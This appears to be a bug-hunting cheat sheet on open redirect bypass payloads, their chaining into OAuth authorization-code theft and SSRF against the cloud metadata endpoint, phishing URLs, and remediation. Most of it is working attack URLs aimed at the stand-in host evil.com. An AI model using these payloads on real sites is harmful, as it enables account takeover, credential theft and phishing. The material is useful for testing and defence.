Open redirects are often dismissed as low severity, but when chained with OAuth token theft or SSRF bypass, they become critical. They also enable highly convincing phishing with the victim domain in the URL.
# Unicode encoding https://еvil.com # Cyrillic 'е' looks like latin 'e'
# Mixed case (if check is case sensitive) Https://Evil.Com HTTPS://EVIL.COM
Path-based Validation Bypasses
# If server validates prefix of URL contains target.com https://target.com.evil.com/path https://target.com/../../../evil.com https://target.com/%2f%2fevil.com
# If server checks the URL starts with / /\/evil.com //evil.com
Redirect Chains
# Chain open redirects for bypass # If redirect must point to target.com, but target.com has its own open redirect: https://target.com/redirect?url=https://partner.com/redirect?url=https://evil.com
Chaining Open Redirects
OAuth Token Theft
# If OAuth redirect_uri validation allows open redirects on the same domain: # 1. Authorization request with open redirect as redirect_uri https://auth.target.com/oauth/authorize? client_id=CLIENT_ID& redirect_uri=https://target.com/redirect?next=https://evil.com& response_type=code
# 2. After user authenticates, code is sent to: https://target.com/redirect?next=https://evil.com?code=AUTH_CODE
# Some SSRF filters block direct internal IPs but allow URLs that redirect there # Application fetches URL → follows redirects → hits internal service # If target.com/redirect?url=http://169.254.169.254/ works... POST /api/fetch {"url": "https://target.com/redirect?url=http://169.254.169.254/latest/meta-data/"}
Phishing
# URL appears to be legitimate target.com, but redirects to phishing page https://target.com/login?redirect=https://target.com-evil.com/login
# More convincing with encoding https://target.com/logout?next=//evil.com
Automated Discovery
# Using OpenRedireX python openredirex.py -l urls.txt -p payloads.txt
PoC: 1. Visit: https://target.com/logout?next=https://evil.com 2. Observe redirect to evil.com
Impact: - Phishing: Attacker sends victim a target.com URL that redirects toa phishing page. Victim sees target.com inURL bar and trusts the link. - If chained with OAuth: access token theft → full account takeover
Remediation: - Use a whitelist of allowed redirect destinations - Reject redirect URLs not matching an allowlist of domains - If redirecting torelative paths only, validate no protocol/host invalue - Consider indirect reference: redirect_to=home instead of redirect_to=/home
No comments yet. Be the first.